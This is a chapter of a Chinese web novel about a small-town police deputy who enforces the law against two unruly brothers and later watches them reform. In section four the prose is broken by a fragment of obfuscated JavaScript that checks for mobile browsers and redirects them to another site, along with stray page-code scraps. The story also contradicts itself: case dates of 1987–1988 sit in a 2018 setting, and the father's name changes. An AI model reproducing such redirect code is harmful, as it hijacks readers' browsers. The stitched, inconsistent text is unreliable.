第29章昝岗镇的警徽


    【文章摘要】：昝岗镇派出所副所长王照宏在处理一起集市斗殴事件时，坚持原则，依法拘留了张勇和张猛兄弟。尽管他们的父亲张大华是镇上德高望重的民政主任，但王照宏并未因此妥协。在征兵政审中，王照宏同样严格把关，拒绝了张勇和张猛的入伍申请。然而，在王照宏的引导和感化下，张勇和张猛逐渐改过自新，成为对社会有用的人。王照宏在昝岗镇的工作经历，不仅让他深刻理解了基层执法的复杂性，也让他与当地居民建立了深厚的感情。


    一、集市上的警徽


    2018年芒种这天，昝岗镇的日头毒得像要把人烤出油来。集市北口的老槐树下，卖冰棍的老汉刚掀开泡沫箱，白花花的冷气就被热浪吞了个干净。王照宏踩着梯子，把"副所长"的木牌往办公室门楣上钉，松木的清香混着汗水味钻进鼻腔时，榔头的最后一下还没落下，窗外就炸响了铜锣般的吆喝——"打起来喽！张勇张猛又打人喽！"


    他抓警帽的手顿了顿，帽檐蹭到衬衫口袋里的钢笔。那是政保科老科长送的临别礼物，派克金笔在阳光下泛着细闪，此刻却在崭新的的确良衬衫上洇出个蓝点，像滴被遗忘的墨水。对面办公室的门"吱呀"开了，曲令观叼着烟锅晃出来，灰白的烟圈在他鬓角的白发间散开："老张家那俩小子，是属炮仗的，见火就炸。"


    集市北口的肉摊前已经围得里三层外三层。张勇正抡着剔骨刀往人头上比画，刀刃上的猪油被日头晒得半化，冷光里裹着股腥气。弟弟张猛举着铁秤砣，把旁边的菜筐砸得稀烂，翠绿的黄瓜滚了一地，沾了泥的部分迅速变成青黑色。穿花衬衫的年轻人捂着淌血的额头，血珠顺着指缝往下滴，在胸前洇出朵不规则的红。他媳妇抱着吓得直哭的孩子蹲在地上，捡摔碎的鸡蛋时，蛋黄在蓝布裤上糊成了片，像幅拙劣的抽象画。


    看热闹的人里，卖瓜子的王婆嗑得正香，瓜子壳吐了一地；修鞋的老李嘬着牙花子摇头，手里的锥子还在鞋帮上悬着。没人敢上前，都知道老张家这俩是混不吝的主，前阵子刚把邻村的拖拉机玻璃砸了，就因为对方超车时溅了他们一身泥。


    "放下！"王照宏的吼声劈开嘈杂。他拽住张勇手腕的瞬间，对方反手就拧，带着猪圈味的汗甩了他满脸。张勇拇指上的铜戒指磨得发亮，硌得王照宏虎口生疼："你算哪根葱？新来的毛头小子也敢管老子！"


    曲令观慢悠悠站到圈外，烟袋锅往千层底布鞋上磕了磕，烟灰簌簌落在解放牌胶鞋的白边上："张大华的面子，够不够让你放下刀？"


    张勇的手明显顿了顿。他爹张大华是镇上的老民政主任，在昝岗镇盘桓了三十年，谁家娶媳妇盖房、谁家老人过世，都得过他的眼。可这迟疑只撑了一秒，他梗着脖子骂："我爹来了也得让我出这口气！这小子敢骂我是劳改犯！"


    警笛声由远及近时，穿花衬衫的年轻人突然像疯了似的扑上来，张嘴就咬张猛胳膊。混乱中王照宏的警号被扯掉，别在领口的钢笔也摔在泥里，笔尖弯成了钩，墨囊裂开的地方，蓝黑墨水在黄土地上漫开，像朵开错季节的花。


    带回所里录口供时，张大华的桑塔纳"吱呀"停在派出所门口。他拎着个果篮进来，肚子上的鳄鱼皮带扣闪着金光亮，比王照宏的警徽还晃眼："小曲，小王，孩子们不懂事，你们多担待......"


    王照宏正往胳膊上抹碘伏，伤口是被张勇的指甲划的，红一道白一道像条蜈蚣。他抬眼时，碘伏的刺痛让他眯了眯眼："张主任，伤情鉴定出来了，轻微伤。按《治安管理处罚法》第四十三条，得拘留五日。"


    果篮"咚"地砸在桌上，苹果滚了一地。有个红富士撞在暖气片上，裂了道缝，甜腥气混着铁锈味漫开来。张大华的脸涨成猪肝色，额头上的青筋跳得像蚯蚓："王副所长是吧？我在昝岗镇三十年，还没见过这么不给面子的！"


    曲令观捡着苹果，把裂了缝的那个擦了擦，咬了一口："老张，去年你儿子把李寡妇的鸡棚烧了，是我让她别追究。前年把中学的篮球架拆了，我替你们赔的钱。这面子，够厚了。"他把没坏的苹果放进张吉华手里，"再护着，就是害他们。"


    拘留决定书递到张勇面前时，这小子突然笑了，嘴角的伤疤跟着抽动——那是上次跟人抢地盘被啤酒瓶划的："老子不怕！我爸会捞我！"王照宏盯着他手腕上的狼头纹身，油墨还发乌，是前阵子在镇西头的黑作坊纹的，针脚歪歪扭扭，像条营养不良的蛇。


    那晚王照宏加班整理案卷，曲令观端来两碗绿豆汤。老所长的指甲缝里还嵌着烟油，他指着窗外的月光："这镇子看着太平，犄角旮旯里净是刺。你刚来，得知道哪片草下有蛇，哪棵树能遮阴。"


    绿豆汤的凉意在舌尖散开时，王照宏想起政保科的老科长说的话："基层不是机关，讲法，也得讲情，但情不能压法，就像秤砣不能比秤杆轻。"他低头看了看自己的警服，第二颗纽扣松了线，是刚才拉扯时崩的，线头在风里轻轻晃。


    二、政审表上的墨迹


    征兵工作开始那天，昝岗镇的广播连播了三遍《解放军进行曲》。老掉牙的喇叭里带着滋滋啦啦的电流声，把"向前向前向前"唱得有点跑调，却把镇小学操场上的红旗吹得猎猎作响。张大华带着两个儿子来派出所开无犯罪记录证明时，张勇的头发染成了黄毛，在阳光下泛着贼光；张猛耳朵上还挂着银链子，走路时叮当作响，像串劣质风铃。


    "改了，都改了。"张大华拍着胸脯，把一包红塔山往王照宏桌上塞，烟盒上的塑封还没拆，"你看这头发，我逼着染回来的，差点没跟我动手。"


    王照宏翻开治安案卷，牛皮纸封面被磨得发亮。1987年3月，张勇因寻衅滋事被警告；8月，兄弟俩合伙敲诈卖西瓜的小贩被罚款；1988年5月，集市斗殴被拘留——打印纸上的墨迹还没干透，边缘泛着淡淡的蓝。他把案卷推到张大华面前："这些，怎么算？"


    张猛突然踹了一脚铁椅子，椅腿在水泥地上划出刺耳的声响："不就是打几架吗？当兵还能怕这个？我爷当年在朝鲜战场，杀的人比这多！"王照宏盯着他脖子上的疤，是上次用啤酒瓶划的，当时缝了五针，现在像条暗红色的蜈蚣趴在锁骨上。


    曲令观从外面进来，手里拿着张征兵政审标准，纸边卷了角。他把文件拍在桌上："老张，你自己看。"文件上"有打架斗殴屡教不改记录者，政审不合格"那行字，被红笔圈了出来，墨水透到了纸背面，像道渗血的伤口。


    张大华的手指在文件上抖了半天，指腹的老茧把纸捻得起了毛。突然，他往王照宏面前一蹲，膝盖撞在桌腿上发出闷响："小王，算我求你！这俩小子再不进部队，就得在社会上烂掉！"他的鳄鱼皮带扣磕在地上，蹭掉块漆，露出里面的铜色，"我给你跪下了！"


    王照宏赶紧扶他，袖口的警号硌着老人的胳膊。张大华的肩膀很沉，像扛了几十年的重担："张主任，这不是我能决定的。"他想起自己当兵的表哥，每次视频都穿着笔挺的军装，胸前的军功章能晃花眼，"部队是熔炉，但不能什么料都往里扔，得是块好钢才行。"


    张大华摔门而去时，走廊里的声控灯被震得亮了又灭。曲令观看着他的背影，那背影比上次见面佝偻了些："他年轻时是炮兵连的神炮手，立过三等功。总说儿子没继承他的血性，其实是没继承他的规矩。"


    政审结果公示那天，张勇和张猛在派出所门口堵王照宏。张勇手里攥着块砖头，指节因为用力而发白，被张猛死死拉住："哥，别冲动！爹知道了会打死我们！"王照宏摸了摸腰里的手铐，却看见张大华从后面追上来，一耳光扇在张勇脸上，声音脆得像摔了个玻璃杯。


    "丢人现眼的东西！"张大华的手在抖，指缝里还夹着半截没抽完的烟，烟灰落在他的的确良衬衫上，"是你们自己把路走死了！"他拽着两个儿子往家走，三个背影在夕阳里缩成三个黑点，像被拉长的叹号。


    王照宏站在台阶上，曲令观递来瓶矿泉水："疼吗？"他指的是王照宏被砖头擦到的胳膊，红了一片，像块没消肿的冻疮。


    "比这疼的，以后还多着呢。"王照宏拧开瓶盖，水洒在警服上，洇出片深色的痕，像朵正在绽放的墨花。


    那晚张大华托传达室的老李送来封信，信封是用作业本纸糊的，上面贴着张旧邮票。里面是张勇的小学奖状，"三好学生"四个字被虫蛀了个洞，还有张大华歪歪扭扭的字："小王同志，我知道你按规矩办事，不怪你。就是夜里睡不着，总想起他们小时候，追着解放军的卡车跑，喊着要当英雄......"


    王照宏把信放在抽屉最底层，上面压着那张被张勇撕烂又粘好的政审表。胶水干了以后，在纸上留下几道白痕，像未愈的伤疤。墨迹晕开的地方，倒像朵没开的花。


    三、杂货铺的灯


    秋收后的第一个雨夜，镇东头的"老陈家杂货铺"被撬了。陈老汉拄着拐杖来报案时，裤脚还在滴水，每走一步，地上就留下个湿脚印，像串省略号。他手里攥着个被撬开的铁皮盒，锁扣断成了两截："我攒了三年的养老钱，全没了......准备给老伴抓药的......"


    王照宏带技术队去现场时，雨丝斜着打在脸上，生疼。杂货铺的木门被撬得变了形，裂缝里还卡着块木屑，像颗没拔出来的牙。货架上的罐头滚了一地，橘子味的糖水在泥里漫开，甜腥气混着雨水的味道，让人鼻子发酸。最里面的烟酒柜空了大半，只剩下几瓶廉价的二锅头，标签被水泡得发皱，像张哭花的脸。陈老汉的老伴坐在门槛上哭，手里的抹布反复擦着被踩脏的算盘——那是她陪嫁的物件，红木框子被磨得发亮，算珠上的包浆油光水滑。


    "前几天有个外乡人，总在门口转悠。"陈老汉的拐杖点着地面，每点一下就颤一下，"穿件黑夹克，袖口磨破了，露着里面的棉花。"


    监控录像里，那身影在雨夜像团墨，撬锁只用了十几秒，手法熟练得让人心惊。临走时，他还往口袋里塞了把陈皮糖，玻璃糖纸在昏暗的光线下闪了下，像颗掉在泥里的星星。王照宏放大画面，看见他鞋跟沾着红泥——镇外的废弃砖窑厂才有这种红泥，是烧砖剩下的矿渣土，红得发暗。


    蹲守的第三夜，王照宏在砖窑厂的破窑洞里逮住了他。男人怀里揣着条红塔山，烟盒被雨水泡得发软。看见警服，他像受惊的兔子往窑顶爬，王照宏扑上去时，两人一起滚进煤堆，警服蹭得漆黑，只有帽檐的警徽还亮着，在黑暗里闪着冷光。


    审讯室里，男人交代自己是邻镇的惯犯，姓刘。"这老头好欺负，"他满不在乎地笑，黄牙上沾着烟渍，"我在别处偷，被打得半死，这儿的人......太老实。"


    王照宏突然拍桌子，桌上的搪瓷缸震得跳了跳："陈老汉的儿子在抗洪时牺牲了，是烈士！你偷的是烈士家属的钱！"男人的笑僵在脸上，手指开始抠桌缝，指甲缝里的煤渣掉了下来，像些黑色的眼泪。


    把钱和赃物送回去那天，陈老汉的老伴煮了锅鸡蛋。鸡蛋是自家鸡下的，个头不大，蛋壳上还沾着点鸡粪。她往王照宏兜里塞，鸡蛋还热乎，烫得他大腿发麻："我儿子也穿警服，在九江......"话没说完就哭了，浑浊的眼泪滴在王照宏的手背上，像雨点落在干涸的土地上。


    张勇和张猛在杂货铺帮忙整理货架，是张大华用皮带逼着来的。张勇搬罐头时，手指被铁皮划了道口子，血珠立刻涌了出来。陈老汉的老伴赶紧从抽屉里翻出创可贴，是那种最老式的，上面印着"为人民服务"："慢点，孩子。"这声"孩子"让张勇的脸瞬间红了，耳根子像烧起来似的，手忙脚乱地把罐头摆整齐。


    离开时，王照宏看见张猛偷偷往货架上放了包烟——是他从家里偷拿的软中华，赔给陈老汉的。烟盒上的褶皱里，还沾着点红泥，是从砖窑厂带回来的，和那晚嫌犯鞋上的红泥一个色。


    曲令观在办公室煮茶，茶是陈老汉送的野菊花茶，泡在水里像朵小太阳。看见王照宏胳膊上的煤渍，他笑了："老张说，他儿子把拘留所的褥子都叠成豆腐块了。"茶气氤氲中，老所长的眼睛亮了，"这政审的坎，说不定能让他们长出记性，知道啥是对，啥是错。"


    王照宏端起茶杯，茶叶在水里翻卷，像极了昝岗镇的路，弯弯曲曲，却总有光。杂货铺的灯修好了，瓦数不大，却能照亮门口的半条街，像只温暖的眼睛，在夜里眨着。


    四、摊位前的秤


    开春后的集市格外热闹，卖菜的老李和卖水果的老王因为摊位吵起来。老李的白菜被踩烂了一地，青帮子混着烂泥；老王的苹果滚进泥里，红通通的果皮上沾了层黄，像生了锈。王照宏赶到时，两人正揪着对方的衣领，唾沫星子溅在彼此脸上，像场丑陋的雨。


    "他占了我半尺地！"老李的草帽歪在头上，露出被晒黑的额头，皱纹里全是汗，"去年就这样！今年还来！"


    "我这筐子沉，挪不动！"老王的秤杆还别在腰里，铁秤砣晃悠着，砸在他的蓝布褂子上，"你个老东西就是找茬！看我好欺负是吧！"


    围观的人里有人喊："打啊！谁赢了谁占！"王照宏突然笑了，指着地上的白菜："这菜多少钱？我买了。"又捡起个苹果擦了擦，苹果皮上沾着根草："这苹果，我也买了。"


    他把钱塞给两人，蹲下去从路边搬了块砖头，压在两人摊位的中间："从砖头顶到路边，是老李的地界。从砖头底到里面，归老王。谁越线，罚他给对方当一天伙计，管饭的那种。"


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982283|192731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >张勇骑着三轮车路过，车上装着刚收的废品，纸壳子捆得整整齐齐，用麻绳勒出了棱。他停下车，帮老李把烂白菜装袋："李叔，我帮你拉去喂猪，我表舅家的猪正缺菜呢。"又给老王递了瓶矿泉水，是冰镇的，瓶身凝着水珠："王婶，我爸说让你别跟李叔置气，远亲不如近邻。"


    人群里有人笑："张勇这是转性了？太阳从西边出来了？"张猛从后面追上来，手里拿着本《电工基础》，书角卷得像波浪："哥，该去培训班了，再晚就迟到了。"兄弟俩的身影在人群里走远时，王照宏看见他们的袖口磨出了毛边，却洗得发白，比自己的警服还干净，风一吹，衣摆飘飘的。


    张大华来派出所送锦旗那天，王照宏正在整理调解案卷。锦旗上"公正执法"四个字绣得歪歪扭扭，针脚忽大忽小，是张吉华自己找绣娘做的，花了他半个月工资。"俩小子在工地学电工，"张大华笑得眼角堆起褶子，像朵被晒透的菊花，"张勇还救了个触电的工友，工头奖了五百块，非要塞给陈老汉，说赔上次偷的烟。陈老汉不要，他就买了两箱牛奶，天天往杂货铺跑，帮着搬货扫地，比亲儿子还勤。"


    曲令观接过锦旗，往墙上挂时，钉子松了，锦旗"啪嗒"掉下来，露出后面的"破案神速"——是陈老汉送的，红绸子上还沾着点茶叶末，想来是老太太装茶时不小心蹭上的。"老了，手没劲了。"老所长笑着揉腰，腰椎间盘突出的老毛病又犯了，疼得他直咧嘴，"这墙，该让年轻人来钉了。"


    王照宏看着墙上的锦旗，突然想起自己刚来时，曲令观说的"草下有蛇"。现在才明白，蛇也能变成绳，就看怎么引，怎么教。就像张勇兄弟俩，以前是两颗不定时炸弹，一点火星就炸，现在却成了能帮人的螺丝钉，往哪儿拧都结实。


    那天下午，集市西头的修鞋摊丢了个工具箱。老李头急得直跺脚，那箱子里有他修鞋三十年的家伙什，最值钱的是把进口锥子，还是年轻时托人从上海带的。王照宏正准备调监控，张猛骑着自行车风风火火赶来，车后座绑着个铁皮箱："王哥，是不是这个？我在砖窑厂附近捡的，锁被撬了，里面的东西都在。"


    箱子里的锥子闪着银光，鞋钉码得整整齐齐，连块擦鞋布都没少。老李头摸着工具箱直抹眼泪："这俩小子，真是变了......"张勇站在一旁，手在裤兜里搓来搓去，脸有点红："李叔，以后您收摊早说一声，我跟我弟帮您看摊。"


    王照宏看着这幕，心里像被晒过的棉被，暖烘烘的。他想起张勇写的那份检讨书，字迹歪歪扭扭，却透着股认真劲。那时的少年总梗着脖子，仿佛全世界都欠他的，如今站在阳光下，影子都透着踏实。


    五、离别的警笛


    两年后的春分，王照宏接到调令，回县局政保科。消息像长了翅膀，一上午就传遍了昝岗镇。


    收拾东西时，他从抽屉最底层翻出那支摔弯了笔尖的钢笔，蓝黑墨水在笔杆上结了层痂，像道旧伤疤。旁边压着张勇写的检讨书，最后那句"我想当警察，像王副所长那样，让人看得起"被墨迹晕了又晕，显然是写的时候反复停顿。纸的右下角，歪歪扭扭的警徽用红笔画着，边缘洇开的地方，像滴没擦净的血，又像颗跳动的心脏。


    王照宏把警号重新别在胸前，冰凉的金属贴着皮肤，像块被体温焐热的烙铁。他想起第一次见张勇，那小子脖子上挂着粗银链，说话时唾沫星子横飞，眼里全是戾气；想起张猛被他爹用皮带抽时，咬着牙不吭声，梗着脖子说"我没错"；想起陈老汉的老伴往他兜里塞热鸡蛋，烫得他大腿发麻，老太太的手像枯树枝，却抖得有力；想起曲令观总在深夜端来绿豆汤，老所长指甲缝里的烟油，和他说"草下有蛇"时眼里的光......


    这些画面像电影片段，在脑子里一帧帧过，带着集市的喧嚣、雨夜里的泥土味、野菊花茶的清苦，还有警徽反射的冷光。


    送别的队伍从派出所排到了街口。卖菜的老李拎着捆刚割的韭菜，非要往他包里塞："小王警官，回家炒鸡蛋吃，香！"修鞋的老李头颤巍巍递来双布鞋，千层底纳得密密麻麻："穿这个走路稳，城里路硬，别磨坏了脚。"


    张勇穿着崭新的辅警制服，肩章还没戴稳，袖口磨出了毛边，却洗得发白，比谁都精神。他手里捧着个相框，里面是王照宏的执勤照——照片上的人眉头紧锁，正在训斥两个打架的少年，正是当年的他和张猛。"王哥，这照片我洗了三张，一张放所里，一张放我床头，还有一张......"他挠挠头，耳朵红得像火烧，"等我弟考上警校，给他当书签。"


    张猛抱着个工具箱，里面的螺丝刀、扳手码得整整齐齐，像列队的士兵。"王哥，我给你修过的那辆二八大杠，还在吗？"他眼睛亮晶晶的，"我新学了焊接，等你回来，我给它换个新链条，再喷层漆，保证比警车还亮。"


    陈老汉的老伴颤巍巍地塞给他个布包，打开是袋野菊花茶，用棉线捆着，香气混着阳光的味道往外钻。"这是今年的新茶，比去年的香。"老太太的手抖得厉害，声音也发颤，"我那口子在地里摘茶时摔了一跤，还惦记着让你带上......说你爱喝这口，苦过之后有回甘。"


    王照宏的喉咙像被什么堵住，说不出话。他想起第一次喝这茶，觉得苦得皱眉，曲令观却说："苦过才知甜，就像这镇子，乱过才知安。"现在鼻尖萦绕着茶香，果然有股淡淡的回甘，从舌尖一直甜到心里。


    警车开动时，王照宏摇下车窗。曲令观站在派出所门口，烟袋锅在手里转着，像在打拍子，老所长的腰更弯了，却站得笔直。张勇和张猛跟着车跑，喊着"王哥常回来"，声音被风扯得越来越远，他们的身影在尘土里变小，像两颗正在扎根的种子。


    陈老汉的老伴站在老槐树下，手里挥着块蓝布帕子，帕子上绣着朵歪歪扭扭的花，像极了当年他警服上的墨渍。风吹起她的白发，像一团蓬松的雪。


    车过废弃砖窑厂时，王照宏看见烟囱上爬着个人，正在刷标语——"遵纪守法，共建平安昝岗"。那人穿着电工服，安全带系在腰上，像只展翅的鹰。张猛在下面扶着梯子，仰头喊着什么，笑声顺着风飘进车窗，清脆得像风铃。


    他摸了摸胸前的警号，冰凉的金属已经被体温焐热。这警号，这镇子，这些人，像颗种子，在他心里生了根，发了芽。


    警笛声再次响起，这次不是出警，是告别。但王照宏知道，这不是终点。


    就像昝岗镇的路，弯弯曲曲，却总有光；就像那些曾经犯错的少年，跌跌撞撞，却总能找到方向。而他胸前的警徽，会永远亮着，照亮他们前行的路，也照亮这片他深爱着的土地。


    远处，昝岗镇的集市又热闹起来，吆喝声、笑声、自行车铃声混在一起，像首永远唱不完的歌。